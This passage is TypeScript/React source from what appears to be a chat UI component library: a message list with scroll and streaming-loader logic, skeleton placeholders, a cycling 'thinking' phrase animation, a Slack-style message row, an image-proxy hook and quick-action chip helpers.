`scrollRef.current` and runs that bookkeeping).\n    // The explicit `: void` return is required too: the library's signature\n    // returns `void | (() => void)` (React 19's optional ref-cleanup contract),\n    // which the hub's React types reject in a `Ref<T>` slot.\n    const setScrollRef = useCallback(\n      (el: HTMLDivElement | null): void => {\n        scrollRef(el);\n      },\n      [scrollRef],\n    );\n    const setContentRef = useCallback(\n      (el: HTMLDivElement | null): void => {\n        contentRef(el);\n      },\n      [contentRef],\n    );\n\n    if (isLoading) {\n      return (\n        <ChatMessageListSkeleton\n          className={className}\n          showAvatars={showAvatars}\n          fullWidth={fullWidth}\n          contentClassName={contentClassName}\n          messageCount={6}\n        />\n      );\n    }\n\n    // Footer-pinned streaming loader. Rendered OUTSIDE the scroller (a\n    // sibling of the scroll div, like the sticky approvals below) so it\n    // stays put while messages stream and grow — no jitter from the\n    // last-message height changing under it.\n    //\n    // Hidden when the agent is actually PAUSED waiting on the user: the\n    // last message's last segment is a pending approval (inline), or\n    // there are escalated pending approvals shown in the sticky bar.\n    const lastMessage = messages[messages.length - 1];\n    const lastSegments = Array.isArray(lastMessage?.content) ? lastMessage.content : null;\n    const lastSegment = lastSegments?.[lastSegments.length - 1];\n    const isPausedOnApproval =\n      !!lastSegment &&\n      (lastSegment.type === 'approval_request' ||\n        lastSegment.type === 'approval_batch' ||\n        lastSegment.type === 'escalation_offer') &&\n      (lastSegment.status === undefined || lastSegment.status === 'pending');\n    const showStreamingLoader = isTyping && !isPausedOnApproval && !(pendingApprovals && pendingApprovals.length > 0);\n\n    return (\n      <OverlayOpenRegistryProvider onOpenChange={handleOverlayOpenChange}>\n        <div className=\"flex min-h-0 flex-1 flex-col\">\n          {/* Positioning box for the jump-to-bottom button: it wraps ONLY the\n            scroller, so `absolute bottom-…` really is the scroller's lower\n            edge. The outer flex column also holds the streaming loader and the\n            approvals bar, and anchoring against THAT box put the button over\n            the loader for the whole of every stream — precisely when it is\n            most likely to be visible. */}\n          <div className=\"relative flex min-h-0 flex-1 flex-col\">\n            <div\n              ref={setScrollRef}\n              className={cn(\n                'flex h-full w-full flex-1 flex-col overflow-y-auto overflow-x-hidden',\n                // `overscroll-contain` (default ON, opt-out via `overscrollContain={false}`):\n                // reaching the top/bottom of the thread must NOT chain the wheel/\n                // touch scroll to the page behind the chat — e.g. the company-hub\n                // deck (native body scroll + sticky slide panels) would otherwise\n                // advance slides while you scroll the chat (fixed in #1501; kept as\n                // the prop default here). Passive in-page DEMO chats disable it so\n                // the surrounding page keeps scrolling normally when the pointer is\n                // over the (non-interactive) thread.\n                overscrollContain && 'overscroll-contain',\n                'scrollbar-thin scrollbar-track-transparent scrollbar-thumb-ods-border/30 hover:scrollbar-thumb-ods-text-secondary/30',\n                className,\n              )}\n              {...props}\n            >\n              <div\n                ref={setContentRef}\n                className={cn(\n                  // `fullWidth=true` drops the centered-narrow column for\n                  // side-panel hosts (e.g. multi-platform-hub Mingo). Same\n                  // semantics as ChatHeader / ChatInput / ChatFooter.\n                  fullWidth\n                    ? 'flex w-full min-w-0 flex-col pb-[var(--spacing-system-xs)]'\n                    : 'mx-auto flex w-full min-w-0 max-w-ods-content-narrow flex-col pb-[var(--spacing-system-xs)]',\n                  contentClassName ?? 'px-[var(--spacing-system-m)]',\n                )}\n                style={{ minHeight: '100%' }}\n              >\n                {hasNextPage && <div ref={sentinelRef} className=\"h-px\" />}\n                <div className=\"flex-1\" />\n                {messages.map((message, index) => {\n                  // Hidden messages (synthetic continuation prompts the host\n                  // injects after an approval card) are part of the API\n                  // conversation history but never render. Skipping here\n                  // keeps the visible thread coherent — see\n                  // `Message.hidden` doc-comment in message.types.ts.\n                  if (message.hidden) return null;\n                  // ONE OWNER for the pending turn. Both send paths mint an empty\n                  // assistant placeholder (the accumulation target — it MUST stay\n                  // in state) and flip the phase to 'thinking'. Rendering it here\n                  // too would put an author label with no body in the transcript\n                  // WHILE the footer loader below already represents the same\n                  // pending turn — two owners, and an `aria-live` log that\n                  // announces a bare \"Mingo\". The footer loader wins (it is\n                  // already `role=\"status\" aria-live=\"polite\"`, sits outside the\n                  // scroller so it can't jitter the thread, and cycles the\n                  // progress phrase), so the placeholder is not rendered AT ALL\n                  // until it carries something visible — removed from the live\n                  // region, not merely hidden. Mirrors `endSseTurn`, which prunes\n                  // an empty trailing assistant AFTER a turn; this closes the same\n                  // window BEFORE the first token. Any non-text segment (tool\n                  // execution, approval card, thinking) counts as visible.\n                  const isEmptyPendingTurn =\n                    index === messages.length - 1 &&\n                    isTyping &&\n                    message.role === 'assistant' &&\n                    !hasNonEmptyContent(message.content) &&\n                    (!Array.isArray(message.content) || message.content.every(s => s.type === 'text'));\n                  if (isEmptyPendingTurn) return null;\n                  const ownedContent = renderAfterMessage?.(message, index);\n                  const row = (\n                    <ChatMessageEnhanced\n                      key={message.id}\n                      ref={getRegisterMessageEl(message.id)}\n                      role={message.role}\n                      name={message.name}\n                      content={message.content}\n                      timestamp={message.timestamp}\n                      isTyping={index === messages.length - 1 && isTyping && message.role === 'assistant'}\n                      avatar={showAvatars ? message.avatar : null}\n                      showAvatar={showAvatars}\n                      assistantType={message.assistantType || assistantType}\n                      approvalVariant={approvalVariant}\n                      authorType={message.authorType}\n                      assistantIcon={message.role !== 'user' ? assistantIcon : undefined}\n                      contextItems={message.contextItems}\n                      resolveContextIcon={resolveContextIcon}\n                      renderContextItem={renderContextItem}\n                      renderMention={renderMention}\n                      renderEntityCard={renderEntityCard}\n                      refs={message.refs}\n                      onAskSelect={index > lastUserMessageIndex ? onAskSelect : undefined}\n                      NavLinkAnchor={NavLinkAnchor}\n                    />\n                  );\n                  // Only wrap when there IS owned content: the bare row keeps\n                  // its own key and its place as a direct flex child, so a\n                  // thread without any stays byte-identical to before.\n                  if (!ownedContent) return row;\n                  return (\n                    <div key={message.id} className=\"flex w-full min-w-0 flex-col\">\n                      {row}\n                      {ownedContent}\n                    </div>\n                  );\n                })}\n              </div>\n            </div>\n\n            {/* Jump to bottom. The manual escape hatch from auto-scroll that\n              every 2026 chat surface ships (AI Elements calls it\n              `ConversationScrollButton`) and the WCAG 2.2.2 counterpart to\n              moving content: the reader can always get back to the live\n              end without hunting for it. Positioned inside the scroller's\n              OWN `relative` wrapper above, so `bottom` really is the\n              scroller's lower edge and not the outer column's (which also\n              carries the streaming loader). It costs the thread no layout\n              height either way — a sibling would shrink the scroller and\n              move the very bottom it points at. Hidden while at the bottom\n              and in passive demo hosts. */}\n            {autoScroll && !atBottom && messages.length > 0 && (\n              <button\n                type=\"button\"\n                onClick={() => {\n                  // Clicking IS the intent to return to the live end, so it\n                  // re-arms the follow lock a scroll-up had released.\n                  followBottomRef.current = true;\n                  void scrollToBottom({ animation: 'smooth' });\n                }}\n                aria-label=\"Scroll to latest message\"\n                className={cn(\n                  'absolute bottom-[var(--spacing-system-s)] left-1/2 z-10 -translate-x-1/2',\n                  'flex size-9 items-center justify-center rounded-full',\n                  'border border-ods-border bg-ods-card text-ods-text-primary shadow-lg',\n                  'transition-colors hover:bg-ods-bg-hover',\n                )}\n              >\n                <Arrow02DownIcon size={16} />\n              </button>\n            )}\n          </div>\n\n          {/* Footer-pinned streaming loader — outside the scroller so it\n            doesn't jitter as the streaming message grows. Color is set\n            via inline style (CSS var) rather than a Tailwind class so it\n            is JIT-independent when this lib is consumed via yalc. */}\n          {showStreamingLoader && (\n            <div\n              className={cn(\n                fullWidth\n                  ? 'flex w-full items-center gap-[var(--spacing-system-xxs)] py-[var(--spacing-system-xs)]'\n                  : 'mx-auto flex w-full max-w-ods-content-narrow items-center gap-[var(--spacing-system-xxs)] py-[var(--spacing-system-xs)]',\n                contentClassName ?? 'px-[var(--spacing-system-m)]',\n              )}\n              style={{ color: 'var(--color-text-muted)' }}\n              role=\"status\"\n              aria-live=\"polite\"\n            >\n              <DotsLoaderIcon className=\"h-6 w-6\" />\n              <CyclingPhrase words={STREAMING_WORDS} className=\"text-h6\" />\n            </div>\n          )}\n\n          {/* Sticky Pending Approvals — outside the scroller; same\n            structure as the v1 baseline. The library's RO watches\n            `contentRef` (INSIDE the scroller), so height changes to\n            this sibling don't trigger the library directly. If a\n            future UX requires snapping to bottom when approvals\n            appear, that hookup goes here. */}\n          {pendingApprovals && pendingApprovals.length > 0 && (\n            <div\n              className={cn(\n                'border-t border-ods-border bg-ods-bg/95 backdrop-blur-sm',\n                fullWidth ? 'w-full' : 'mx-auto w-full max-w-ods-content-narrow',\n                contentClassName ?? 'px-[var(--spacing-system-m)]',\n              )}\n            >\n              <ChatMessageEnhanced\n                role=\"assistant\"\n                name={assistantType === 'mingo' ? 'Mingo' : 'Fae'}\n                content={pendingApprovals}\n                timestamp={new Date()}\n                showAvatar={showAvatars}\n                assistantType={assistantType}\n                approvalVariant={approvalVariant}\n                assistantIcon={assistantIcon}\n                NavLinkAnchor={NavLinkAnchor}\n                className=\"py-3\"\n              />\n            </div>\n          )}\n        </div>\n      </OverlayOpenRegistryProvider>\n    );\n  },\n);\n\nChatMessageList.displayName = 'ChatMessageList';\n\nexport { ChatMessageList };\n","'use client';\n\nimport { cn } from '../../utils/cn';\n\ninterface ChatMessageSkeletonProps {\n  className?: string;\n  showAvatar?: boolean;\n  isUser?: boolean;\n  /** How many body lines to draw under the name row. Default 3 (paragraph-ish\n   *  reply). Pass 1 for surfaces whose real messages are single-line (e.g. the\n   *  short scripted hero-demo turns), so the skeleton isn't ~3x too tall. */\n  bodyLines?: number;\n}\n\n// Body-line width palette: full-width lines then a short trailing line, so any\n// `bodyLines` count ends on a short line like a real wrapped message.\nconst BODY_LINE_WIDTHS = ['w-full', 'w-11/12', 'w-4/5', 'w-5/6'];\nconst bodyLineWidth = (index: number, total: number) =>\n  index === total - 1 ? 'w-3/5' : BODY_LINE_WIDTHS[index % BODY_LINE_WIDTHS.length];\n\n/**\n * One message-row skeleton. Mirrors `ChatMessageEnhanced`'s real layout:\n * full panel width, no card background, and an INLINE avatar in the name row\n * (the 2025 chat pattern — Claude.ai / ChatGPT / Gemini), NOT the legacy\n * `absolute -left-16` hanging avatar. Body lines use percentage widths so they\n * reflow cleanly as the panel resizes.\n */\nexport function ChatMessageSkeleton({\n  className,\n  showAvatar = true,\n  isUser = false,\n  bodyLines = 3,\n}: ChatMessageSkeletonProps) {\n  const lines = Math.max(1, bodyLines);\n  return (\n    <div className={cn('relative py-[var(--spacing-system-s)]', className)}>\n      <div className=\"flex min-w-0 flex-col gap-[var(--spacing-system-xxs)]\">\n        {/* Name row — inline avatar (assistant only) + name + timestamp,\n            matching ChatMessageEnhanced's inline-avatar header. Neutral\n            `bg-ods-border` so the placeholders are actually visible (a tinted\n            low-alpha fill reads as blank on the dark surface). */}\n        <div className=\"flex items-center gap-[var(--spacing-system-xs)]\">\n          {showAvatar && !isUser && <div className=\"h-8 w-8 flex-shrink-0 animate-pulse rounded-full bg-ods-border\" />}\n          <div className=\"h-5 w-32 animate-pulse rounded bg-ods-border\" />\n          <div className=\"ml-auto h-4 w-14 animate-pulse rounded bg-ods-border\" />\n        </div>\n\n        {/* Body lines — percentage widths so they reflow on panel resize. */}\n        <div className=\"flex flex-col gap-2 pt-[var(--spacing-system-xxs)]\">\n          {Array.from({ length: lines }, (_, i) => (\n            <div key={i} className={cn('h-4 animate-pulse rounded bg-ods-border', bodyLineWidth(i, lines))} />\n          ))}\n        </div>\n      </div>\n    </div>\n  );\n}\n\ninterface ChatMessageListSkeletonProps {\n  className?: string;\n  messageCount?: number;\n  showAvatars?: boolean;\n  /**\n   * Match `ChatMessageList`'s `fullWidth`: drop the centered\n   * `max-w-ods-content-narrow` column so the skeleton fills the panel and\n   * reflows on resize (instead of staying a fixed narrow column with large\n   * side gutters). Same semantics as the real list.\n   */\n  fullWidth?: boolean;\n  /** Extra classes on the content column (e.g. host-provided padding). The\n   *  host wrapper is expected to own the panel padding; this stays empty by\n   *  default so the skeleton sits flush. */\n  contentClassName?: string;\n  /** Body lines per message row (forwarded to `ChatMessageSkeleton`). Default 3;\n   *  pass 1 for single-line message surfaces. */\n  bodyLines?: number;\n  /**\n   * FILL mode: top-anchor the rows and CLIP overflow (instead of bottom-anchoring\n   * + inner scroll). Combined with a generous `messageCount`, the rows cover the\n   * container top-to-bottom at ANY height — no per-container measuring, no empty\n   * band at the top. Use for loading surfaces that should read as \"the whole\n   * panel is loading\" rather than \"a short thread pinned to the bottom\".\n   */\n  fill?: boolean;\n}\n\nexport function ChatMessageListSkeleton({\n  className,\n  messageCount = 6,\n  showAvatars = true,\n  fullWidth = false,\n  contentClassName,\n  bodyLines,\n  fill = false,\n}: ChatMessageListSkeletonProps) {\n  const messages = Array.from({ length: messageCount }, (_, index) => ({\n    id: index,\n    isUser: index % 3 === 0,\n  }));\n\n  return (\n    <div className=\"relative flex min-h-0 flex-1 flex-col\">\n      <div\n        className={cn(\n          'flex h-full w-full flex-1 flex-col',\n          fill\n            ? 'overflow-hidden'\n            : 'scrollbar-thin scrollbar-track-transparent scrollbar-thumb-ods-border/30 hover:scrollbar-thumb-ods-text-secondary/30 overflow-y-auto overflow-x-hidden overscroll-contain [scroll-behavior:smooth]',\n          className,\n        )}\n      >\n        <div\n          className={cn(\n            fullWidth\n              ? 'flex w-full min-w-0 flex-col'\n              : 'mx-auto flex w-full min-w-0 max-w-ods-content-narrow flex-col',\n            contentClassName,\n          )}\n          style={fill ? undefined : { minHeight: '100%' }}\n        >\n          {/* Bottom-anchor the rows like the real list — unless FILL mode wants\n              them top-anchored + clipped to cover the whole panel. */}\n          {!fill && <div className=\"flex-1\" />}\n          {messages.map(message => (\n            <ChatMessageSkeleton\n              key={message.id}\n              showAvatar={showAvatars}\n              isUser={message.isUser}\n              bodyLines={bodyLines}\n            />\n          ))}\n        </div>\n      </div>\n    </div>\n  );\n}\n","'use client';\n\nimport { useEffect, useMemo, useState } from 'react';\nimport { cn } from '../../utils/cn';\n\ninterface CyclingPhraseProps {\n  /** Words to cycle through. Cycle wraps around indefinitely. */\n  words: readonly string[];\n  /** Optional className applied to the outer span. */\n  className?: string;\n  /** Milliseconds per character during the morph step. */\n  charMs?: number;\n  /** Milliseconds to hold a fully-typed word before starting next morph. */\n  holdMs?: number;\n}\n\n// Idempotent keyframe — multiple component instances share the same\n// CSS rule, no duplication issues.\nconst BLINK_KEYFRAMES = `\n  @keyframes cyclingCursorBlink {\n    50% { opacity: 0; }\n  }\n`;\n\n/**\n * Terminal-style cycling word: a fixed-size block cursor walks left-\n * to-right through the word, overwriting the previous word's char at\n * each position with the new word's char (or trimming trailing chars\n * if the new word is shorter). On hold the cursor is hidden — the\n * morph is the only time it appears. A static \"...\" suffix follows\n * the word at all times.\n *\n * Visual sequence (Thinking → Vibing):\n *   Thinking... (hold, no cursor)\n *   V█hinking...  → Vi█inking... → ... → Vibing█...\n *   Vibing... (hold, no cursor)\n *   ...\n *\n * Width is pinned to the longest word in the list (rendered invisibly\n * underneath) so cycling doesn't shift the dots or surrounding layout.\n */\nexport function CyclingPhrase({ words, className, charMs = 60, holdMs = 4500 }: CyclingPhraseProps) {\n  const [wordIndex, setWordIndex] = useState(0);\n  const [text, setText] = useState('');\n  const [cursor, setCursor] = useState(0);\n\n  const target = words[wordIndex] ?? '';\n  // \"The cursor has walked past both words\" — a pure function of the two\n  // lengths and the cursor, so it is derived rather than a `holding` state the\n  // effect flipped. That flip was a synchronous setState in an effect body: an\n  // extra render pass on EVERY word, landing one frame after the morph had\n  // visibly finished.\n  const holding = words.length > 0 && cursor >= Math.max(text.length, target.length);\n  // Pinning while rendering, for the same reason: the last morph step can leave\n  // a stale trailing character, and correcting that from the effect painted it\n  // once before removing it.\n  const shownText = holding ? target : text;\n\n  // Width-reservation: longest word + \"...\" sets the outer min-width.\n  const placeholder = useMemo(\n    () => words.reduce((longest, w) => (w.length > longest.length ? w : longest), ''),\n    [words],\n  );\n\n  useEffect(() => {\n    if (words.length === 0) return undefined;\n    let timeoutId: ReturnType<typeof setTimeout>;\n\n    if (holding) {\n      timeoutId = setTimeout(() => {\n        setWordIndex(i => (i + 1) % words.length);\n        setCursor(0);\n        // Commit the pin the render above was showing, so the next morph\n        // overwrites the word actually on screen rather than the stale buffer.\n        setText(target);\n      }, holdMs);\n      return () => clearTimeout(timeoutId);\n    }\n\n    timeoutId = setTimeout(() => {\n      setText(prev => {\n        if (cursor < target.length) {\n          return target.slice(0, cursor + 1) + prev.slice(cursor + 1);\n        }\n        return prev.slice(0, cursor);\n      });\n      setCursor(c => c + 1);\n    }, charMs);\n    return () => clearTimeout(timeoutId);\n  }, [wordIndex, cursor, text, holding, target, words, charMs, holdMs]);\n\n  if (words.length === 0) return null;\n\n  const before = shownText.slice(0, cursor);\n  const after = shownText.slice(cursor);\n\n  // Block cursor — consistent size regardless of phase. Same style\n  // every time it appears (no scaling/jitter). Blinks while visible.\n  const cursorBlock = (\n    <span\n      aria-hidden\n      className=\"inline-block bg-current align-baseline\"\n      style={{\n        width: '0.6em',\n        height: '1em',\n        verticalAlign: '-0.1em',\n        marginLeft: '1px',\n        marginRight: '1px',\n        animation: 'cyclingCursorBlink 1s steps(1) infinite',\n      }}\n    />\n  );\n\n  return (\n    <span className={cn('relative inline-block whitespace-nowrap', className)}>\n      <style dangerouslySetInnerHTML={{ __html: BLINK_KEYFRAMES }} />\n      {/* Invisible placeholder — pins width to longest word + \"...\" */}\n      <span aria-hidden className=\"invisible\">\n        {placeholder}...\n      </span>\n      {/* Live layer */}\n      <span className=\"absolute inset-0 inline-flex items-baseline\" aria-live=\"polite\">\n        <span>{before}</span>\n        {!holding && cursorBlock}\n        <span>{after}</span>\n        <span>...</span>\n      </span>\n    </span>\n  );\n}\n","'use client';\n\n/**\n * `<ChatMessageRow>` — THE single source of truth for a Slack-channel-style\n * message row. Rendered by BOTH:\n *   - the OpenMSP Slack-community feed (hub `components/slack/chat-interface.tsx`)\n *   - the customer ticket conversation feed (lib `ticket-detail-drawer.tsx`)\n *\n * Both surfaces render THIS component, so they are pixel-identical by\n * construction — avatar size, font sizes, weights, spacing, and line-heights\n * can never drift apart. The markup is the verbatim Slack `MessageItem` layout\n * (avatar `w-8 h-8 md:w-10 md:h-10 rounded-lg object-cover` + bold name +\n * relative time + `whitespace-pre-wrap` body). Colors are ODS theme tokens\n * ONLY (`text-ods-text-primary` / `text-ods-text-secondary`). The `text-[Npx]`\n * / `font-body` / `leading-*` utilities are FONT/SIZE, not color — they are\n * required to match the Slack typography exactly.\n *\n * `footer` is the only per-surface variation slot: the Slack feed passes its\n * \"N replies\" badge; the ticket feed passes `<TicketAttachmentsList>`.\n */\n\nimport { useState, type ReactNode } from 'react';\nimport Image from '../../embed-shims/next-image';\nimport { personInitials } from '../../utils/format';\nimport { useProxiedImageUrl } from './hooks/use-proxied-image-url';\n\nexport interface ChatMessageRowProps {\n  /** Display name (bold, top-left). */\n  displayName: string;\n  /** Avatar image URL. Proxied via `useProxiedImageUrl`; falls back to\n   *  initials in a same-sized `rounded-lg` box when absent. */\n  avatarUrl?: string | null;\n  /** Pre-formatted relative-time label (e.g. \"2h ago\"). Caller formats it —\n   *  Slack passes its server `displayTime`, tickets pass\n   *  `formatRelativeTime(createdAt)`. Empty/undefined hides the time. */\n  timeLabel?: string | null;\n  /** Message body — a plain string (rendered `whitespace-pre-wrap`) or a\n   *  pre-rendered node (the Slack surfaces pass mrkdwn-formatted nodes).\n   *  Empty/absent + no footer renders nothing under the header. */\n  body: string | ReactNode;\n  /** Per-surface slot under the body: Slack reply badge / ticket attachments. */\n  footer?: ReactNode;\n}\n\nexport function ChatMessageRow({ displayName, avatarUrl, timeLabel, body, footer }: ChatMessageRowProps) {\n  // Avatars load directly from their (https) host — same as the rest of the app,\n  // so the browser disk-caches them (Google/etc. send `cache-control: max-age`).\n  // `useProxiedImageUrl` only rewrites http/relative URLs; https pass through.\n  const proxiedAvatar = useProxiedImageUrl(avatarUrl ?? '');\n  const resolvedAvatar = proxiedAvatar || avatarUrl || undefined;\n  // Fall back to the initials box if the avatar load FAILS (transient CDN 429,\n  // ad-blocker, dead URL) instead of showing a broken image. Keyed on the URL\n  // (not a bool) so a later render with a DIFFERENT avatar re-attempts the load\n  // rather than inheriting a stale failure.\n  const [failedSrc, setFailedSrc] = useState<string | null>(null);\n  const src = resolvedAvatar && resolvedAvatar !== failedSrc ? resolvedAvatar : undefined;\n  const hasBody = typeof body === 'string' ? body.trim().length > 0 : body != null && body !== false;\n\n  return (\n    <div className=\"flex w-full min-w-0 gap-2 md:gap-3\">\n      {/* Avatar — verbatim Slack sizing: 32px → 40px, rounded-lg, object-cover.\n          Initials fallback uses the SAME box so layout is identical with or\n          without an image. */}\n      {src ? (\n        <Image\n          src={src}\n          alt={displayName}\n          className=\"h-8 w-8 flex-shrink-0 rounded-lg object-cover md:h-10 md:w-10\"\n          width={40}\n          height={40}\n          onError={() => setFailedSrc(resolvedAvatar ?? null)}\n        />\n      ) : (\n        <div className=\"flex h-8 w-8 flex-shrink-0 items-center justify-center rounded-lg border border-ods-border bg-ods-bg text-ods-text-primary text-h6 md:h-10 md:w-10\">\n          {personInitials(displayName) || '?'}\n        </div>\n      )}\n\n      {/* Message content */}\n      <div className=\"min-w-0 max-w-full flex-1\">\n        {/* Header — name + relative time. Verbatim Slack typography. */}\n        <div className=\"mb-1 flex min-w-0 max-w-full items-center gap-2\">\n          <span className=\"truncate font-body text-[14px] font-bold leading-[1.33] tracking-[-0.02em] text-ods-text-primary md:text-[15px]\">\n            {displayName}\n          </span>\n          {timeLabel && <span className=\"flex-shrink-0 text-ods-text-secondary text-h6\">{timeLabel}</span>}\n        </div>\n\n        {/* Body — verbatim Slack: 12/14px, pre-wrap, break-words. */}\n        {hasBody && (\n          <div className=\"min-w-0 max-w-full whitespace-pre-wrap break-words text-ods-text-primary text-h6\">{body}</div>\n        )}\n\n        {footer}\n      </div>\n    </div>\n  );\n}\n\n/**\n * Skeleton with 1:1 structural parity to `<ChatMessageRow>` — SAME wrapper\n * (`flex gap-2 md:gap-3`), SAME avatar box (`w-8 h-8 md:w-10 md:h-10\n * rounded-lg`), SAME header `mb-1`, and bar heights matching the real\n * name/time/body line-heights so the loading→loaded swap does not reflow.\n */\nexport function ChatMessageRowSkeleton() {\n  // Bars use `bg-ods-border` (NOT `bg-ods-skeleton` — that token resolves to\n  // transparent in this build, leaving the box visually empty).\n  return (\n    <div className=\"flex w-full min-w-0 gap-2 md:gap-3\">\n      <div className=\"h-8 w-8 flex-shrink-0 animate-pulse rounded-lg bg-ods-border md:h-10 md:w-10\" />\n      <div className=\"min-w-0 flex-1\">\n        {/* Header row — name + time bars, same mb-1 + gap-2 as the real header. */}\n        <div className=\"mb-1 flex items-center gap-2\">\n          <div className=\"h-[15px] w-24 animate-pulse rounded bg-ods-border md:h-[20px] md:w-32\" />\n          <div className=\"h-[12px] w-12 animate-pulse rounded bg-ods-border md:h-[16px] md:w-16\" />\n        </div>\n        {/* Two body lines — match the 12/14px body line-height. */}\n        <div className=\"h-[14px] w-full animate-pulse rounded bg-ods-border md:h-[18px]\" />\n        <div className=\"mt-1 h-[14px] w-3/4 animate-pulse rounded bg-ods-border md:h-[18px]\" />\n      </div>\n    </div>\n  );\n}\n","'use client';\n\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context';\nimport { getProxiedImageUrl } from '../../../utils/image-proxy';\n\n/**\n * Hook-version of `getProxiedImageUrl` that reads `proxyPrefix` and\n * `skipDomains` from the ambient `ChatRuntime`. Use anywhere inside\n * a `<ChatRuntimeContext.Provider>`.\n *\n * Returns the input URL (or `''` for null/undefined) when no\n * `imageProxyUrlPrefix` is configured. Always passes `directHttps: true`\n * — callers that need proxied https (e.g. raster-only) must use the pure\n * `getProxiedImageUrl` from `@flamingo-stack/openframe-frontend-core/utils`\n * directly.\n *\n * Rules of hooks: call at the TOP of a component, NOT inside loops/maps.\n * For `.map(item => proxy(item.url))` patterns, use the pure\n * `getProxiedImageUrl` and hardcode the proxy config — the rare\n * non-React-tree caller pattern.\n */\nexport function useProxiedImageUrl(url: string | null | undefined): string {\n  const r = useRequiredChatRuntime();\n  return (\n    getProxiedImageUrl(url ?? '', {\n      proxyPrefix: r.endpoints.imageProxyUrlPrefix,\n      skipDomains: r.endpoints.imageProxySkipDomains,\n      directHttps: true,\n    }) ?? ''\n  );\n}\n","'use client';\n\nimport { type CSSProperties, type ReactNode, isValidElement } from 'react';\nimport { cn } from '../../utils/cn';\nimport { EntityIcon, type EntityIconValue } from '../icon-display';\nimport { Tag } from '../ui/tag';\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** Accent tint for quick-action chip icons: a named brand token\n *  (`'pink'`/`'cyan'`) or ANY CSS color value coming from admin config\n *  (agent/persona `icon_props.color`). */\nexport type QuickActionAccent = 'pink' | 'cyan' | (string & {});\n\n/** THE built-in agent→accent pairs ({@link getAgentAccent} derives from it). */\nconst AGENT_ACCENTS = { fae: 'pink', mingo: 'cyan' } as const;\n\n/**\n * FALLBACK-ONLY agent→accent mapping (fae→pink, mingo→cyan) for the built-in\n * agents when nothing is configured. A color configured on the entity itself —\n * the quick action's `iconProps.color`, or the agent/persona identity\n * `icon_props.color` — always wins over this map; callers must resolve the\n * configured value first and only fall back here. Never re-inline the slug\n * comparison elsewhere.\n */\nexport function getAgentAccent(slug: string | null | undefined): QuickActionAccent | undefined {\n  return slug === 'fae' || slug === 'mingo' ? AGENT_ACCENTS[slug] : undefined;\n}\n\n/** Admin-configured identity color (`icon_props.color` on the agent/persona\n *  row) → chip accent. Undefined when the identity doesn't set one. */\nexport function accentFromIdentityIcon(\n  icon: { props?: Record<string, unknown> | null } | null | undefined,\n): QuickActionAccent | undefined {\n  const color = icon?.props?.color;\n  return typeof color === 'string' && color.length > 0 ? color : undefined;\n}\n\n/**\n * Declarative icon for a quick-action chip, resolved 100% by `<EntityIcon>`\n * (url → fae/mingo `AgentMark` → icons-v2 glyph → file fallback):\n * - \"agent format\" — `{ name: 'fae' }` / `{ name: 'mingo' }` renders the\n *   packaged agent mark (fills the chip's icon box; `accent` is ignored — the\n *   marks carry their own colors).\n * - \"config format\" — `{ name, url, props, accent }` renders the\n *   admin-configured icon; `accent` tints registry glyphs via a\n *   `text-ods-flamingo-*` class on `currentColor`.\n *\n * If `props.color` is set it wins over `accent` — the accent is a class tint\n * on `currentColor`, the prop is an explicit fill (EntityIcon spreads `props`\n * onto the glyph last).\n */\nexport interface QuickActionIconSpec extends EntityIconValue {\n  accent?: QuickActionAccent;\n  /** Glyph size in px. Defaults to 16 (the chip design's config-icon size);\n   *  agent marks size via the icon box instead. */\n  size?: number;\n}\n\nconst ACCENT_CLASS: Record<string, string> = {\n  pink: 'text-ods-flamingo-pink',\n  cyan: 'text-ods-flamingo-cyan',\n};\n\n/** A spec is a plain data object, never a React element — so any non-element,\n *  non-array object is a spec; strings, elements, fragments, and ReactNode\n *  ARRAYS stay ReactNode. */\nexport function isQuickActionIconSpec(icon: ReactNode | QuickActionIconSpec | undefined): icon is QuickActionIconSpec {\n  return typeof icon === 'object' && icon !== null && !Array.isArray(icon) && !isValidElement(icon);\n}\n\n/** Resolve a chip `icon` prop to a renderable node. Specs go through\n *  `<EntityIcon>`; ReactNodes pass through untouched. */\nexport function renderQuickActionIcon(icon: ReactNode | QuickActionIconSpec | undefined): ReactNode {\n  if (!isQuickActionIconSpec(icon)) {\n    return icon;\n  }\n  const spec = icon;\n  if (!spec.name && !spec.url) return undefined;\n  // Named brand tokens tint via a text class on `currentColor`; any other\n  // accent value is an admin-configured CSS color, delivered as the glyph's\n  // DEFAULT `color` prop — an explicit per-action `props.color` (spread after)\n  // still wins.\n  const accentClass = spec.accent ? ACCENT_CLASS[spec.accent] : undefined;\n  const props = spec.accent && !accentClass ? { color: spec.accent, ...(spec.props ?? {}) } : spec.props;\n  return <EntityIcon icon={{ name: spec.name, url: spec.url, props }} size={spec.size ?? 16} className={accentClass} />;\n}\n\n/**\n * Compact category/status affix rendered INSIDE the chip at the label's\n * leading edge (Atlassian-lozenge / M3 leading-slot pattern — category as\n * text, never color alone). `className` drives the text color (e.g.\n * `text-ods-warning`); the tinted background derives from `currentColor`,\n * so one utility styles both.\n */\nexport interface QuickActionChipLozenge {\n  label: ReactNode;\n  className?: string;\n}\n\n// =============================================================================\n// Themes\n// =============================================================================\n\n/**\n * A caller-supplied chip theme — the accent (and optional classification\n * lozenge) for \"who does this work\". The lib deliberately ships NO theme\n * registry and NO fallbacks: agent colors are server-configured (resolve via\n * {@link accentFromIdentityIcon} on the agent row's `icon_props.color`, or\n * {@link getAgentAccent} for the built-in agents) and category pairs are\n * product decisions — the CONSUMER defines its specs and injects them, per\n * chip or as a wall default.\n */\nexport interface QuickActionThemeSpec {\n  /** Chip icon tint ({@link QuickActionAccent}: brand token or CSS color). */\n  accent: QuickActionAccent;\n  /** Classification affix rendered inside the chip (category themes). */\n  lozenge?: QuickActionChipLozenge;\n}\n\n/** Resolve a chip label + optional lozenge to the Tag label node. */\nfunction composeChipLabel(label: ReactNode, lozenge: QuickActionChipLozenge | undefined): ReactNode {\n  if (!lozenge) return label;\n  return (\n    <>\n      <span\n        className={cn(\n          // -translate-y-[1px]: align-middle centers on x-height, but the chip\n          // labels are uppercase (no descenders), so the lozenge reads ~1px low\n          // against the caps' optical center (measured 9.1px above / 6.9px\n          // below in the 32px Tag). Keep QuickActionChipSkeleton's lozenge bar\n          // offset in lockstep.\n          'mr-2 inline-flex -translate-y-[1px] items-center rounded px-[5px] py-[3px] align-middle font-bold uppercase text-h6',\n          lozenge.className,\n        )}\n        style={{ background: 'color-mix(in srgb, currentColor 14%, transparent)' }}\n      >\n        {lozenge.label}\n      </span>\n      {label}\n    </>\n  );\n}\n\nexport interface QuickActionChipButtonProps {\n 